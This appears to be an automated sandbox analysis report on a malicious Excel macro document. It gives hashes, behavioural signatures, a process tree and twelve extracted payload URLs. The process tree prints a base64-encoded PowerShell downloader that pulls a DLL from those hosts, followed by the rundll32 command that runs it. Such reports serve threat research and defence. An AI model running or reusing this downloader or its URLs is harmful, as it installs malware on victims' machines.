Analysis
-
max time kernel
133s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 21:03
Behavioral task
behavioral1
Sample
8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm
Resource
win10v2004-20241007-en
General
-
Target
8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm
-
Size
115KB
-
MD5
c55de90647aef216768b8516a3263468
-
SHA1
253eb1648ed416e8791f0465e76b3b5696276065
-
SHA256
8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489
-
SHA512
f4377d1199c3a13eb9527abfe9282949eb1cd5a82d58cd7e61043f900f84e3ec8a7d7675dc324499982e9b58362c65213075b41e0f59c37fb95b34376b758724
-
SSDEEP
3072:FG1t/LKpd4LcRtaXR3KUtE4sYzOXPn1CpR:FiHL8e3KU5skOXN4
Malware Config
Extracted
http://sumedhaonline.com/wp-content/HyzNXJ30XOQVcBSRH/
http://divachintextiles.com/wp-includes/WWhWRKs8KvzNFm6/
http://hotelandamalabo.com/1520/bUdhEPdf/
http://shwenantawwin.com/copma/XTnZIi02vfVblK7/
http://tan4j.com/wp-content/languages/yOI5h8uoRe/
https://khibra-academy.com/wp-content/c1dR8wP4OdhzApHn/
https://dwwmaster.com/wp-content/W7XGpodRs5kYvnV/
http://edinsonjhernandez.net/wp-content/vndSGB/
https://stayathomeamerica.com/wp-content/nrQWW/
http://quetzalgt.coffee/images/B5WUc/
http://edinsonjhernandez.info/wp-content/BaazJljahSR2/
http://xn--90agbba9adnzt3i.com/ALFA_DATA/ucCbi6G/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 552 4792 wscript.exe 81 -
Blocklisted process makes network request 6 IoCs
flow pid Process 29 3376 powershell.exe 33 3376 powershell.exe 35 3376 powershell.exe 39 3376 powershell.exe 50 3376 powershell.exe 67 3376 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4792 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3376 powershell.exe 3376 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3376 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE 4792 EXCEL.EXE -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4792 wrote to memory of 552 4792 EXCEL.EXE 85 PID 4792 wrote to memory of 552 4792 EXCEL.EXE 85 PID 552 wrote to memory of 4952 552 wscript.exe 86 PID 552 wrote to memory of 4952 552 wscript.exe 86 PID 4952 wrote to memory of 3376 4952 cmd.exe 89 PID 4952 wrote to memory of 3376 4952 cmd.exe 89 PID 552 wrote to memory of 4404 552 wscript.exe 98 PID 552 wrote to memory of 4404 552 wscript.exe 98 PID 4404 wrote to memory of 4972 4404 cmd.exe 100 PID 4404 wrote to memory of 4972 4404 cmd.exe 100 PID 4404 wrote to memory of 4972 4404 cmd.exe 100
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\tghklsd.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAbQBhAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBWAGIAbABLADcALwAsAGgAdAB0AHAAOgAvAC8AdABhAG4ANABqAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbABhAG4AZwB1AGEAZwBlAHMALwB5AE8ASQA1AGgAOAB1AG8AUgBlAC8ALABoAHQAdABwAHMAOgAvAC8AawBoAGkAYgByAGEALQBhAGMAYQBkAGUAbQB5AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYwAxAGQAUgA4AHcAUAA0AE8AZABoAHoAQQBwAEgAbgAvACwAaAB0AHQAcABzADoALwAvAGQAdwB3AG0AYQBzAHQAZQByAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AVwA3AFgARwBwAG8AZABSAHMANQBrAFkAdgBuAFYALwAsAGgAdAB0AHAAOgAvAC8AZQBkAGkAbgBzAG8AbgBqAGgAZQByAG4AYQBuAGQAZQB6AC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdgBuAGQAUwBHAEIALwAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAYQB5AGEAdABoAG8AbQBlAGEAbQBlAHIAaQBjAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBuAHIAUQBXAFcALwAsAGgAdAB0AHAAOgAvAC8AcQB1AGUAdAB6AGEAbABnAHQALgBjAG8AZgBmAGUAZQAvAGkAbQBhAGcAZQBzAC8AQgA1AFcAVQBjAC8ALABoAHQAdABwADoALwAvAGUAZABpAG4AcwBvAG4AagBoAGUAcgBuAGEAbgBkAGUAegAuAGkAbgBmAG8ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgBhAGEAegBKAGwAagBhAGgAUwBSADIALwAsAGgAdAB0AHAAOgAvAC8AeABuAC0ALQA5ADAAYQBnAGIAYgBhADkAYQBkAG4AegB0ADMAaQAuAGMAbwBtAC8AQQBMAEYAQQBfAEQAQQBUAEEALwB1AGMAQwBiAGkANgBHAC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAGkAbgAgACQAagBlAG8AbABpAHMAZQAzAFIAaABnAEQAWgBTADQAYwBkAGYAZwApAHsAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAB2AGIAawB3AGsALgBkAGwAbAAiADsAaQBOAHYATwBrAGUALQB3AEUAYgByAGUAUQB1AGUAcwBUACAALQB1AFIAaQAgACQAagBkAHQARgBKAGQAWABoAHIANgB0AHgAeQBoAGQAIAAtAG8AdQBUAGYAaQBMAGUAIAAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAOwAgAGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3376
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd3⤵
- Suspicious use of WriteProcessMemory
PID:4404 -
\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd4⤵
- System Location Discovery: System Language Discovery
PID:4972
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5ac67bca4fdab00cd7c8c3e30240bbed0
SHA1e4a9aadf3291914d4a77792a451237d76989b0b3
SHA25659140b6a78c34712f009f92fb48ce9be51cfdaa8a38a15b5b3db43c25083b6c0
SHA512518cbccedf3114c2a1104a023b33df527df1eccd26f76e70e202b436153c3fc053ea7d032170cb0b6d82416681511f0c6581e1ce62809aa25a17ab1706eb7d4d
-
Filesize
3KB
MD5164532c6f8dbac93f02a741fbd0c71b9
SHA11fbb6f6e2ecc5626c8879b1af15cdff88414a72b
SHA256b463e24cd165d84616c6db6130623de399ee544e1bc9f929f8a7fa6b6841dd47
SHA512655e3ae1ca46aa4c9efb9ff8d78afd3580875aae59e4c5d57cb0a4dee46515e9f77dc79284c7352c96353ca20e09293a0343d168a66c1ce1794dbb958d4bb31d
-
Filesize
561B
MD587a9c41dc3e67b9b0b6cdb367d4858bd
SHA100f117f9a02dad3c127b2c607ead43300c2bebbe
SHA256f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18
SHA5127373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd
-
Filesize
24KB
MD5267653b0ba240564ec0f8438c78e1d07
SHA1a5c875a9d1e341ccf0b2590d444e219175bf04c5
SHA256ab4c38eb8b4a07f918d37b2e30fbe44c5dac5331f525a13ef2d72251853c966c
SHA51238263abd73c6a2e71ea54264f8334de83ce20ab4f281ea5067a28ecd5f8f312e9347b03d13c241d88f5e9bccb1009bf24275804e6b327bf61e95c328d906a841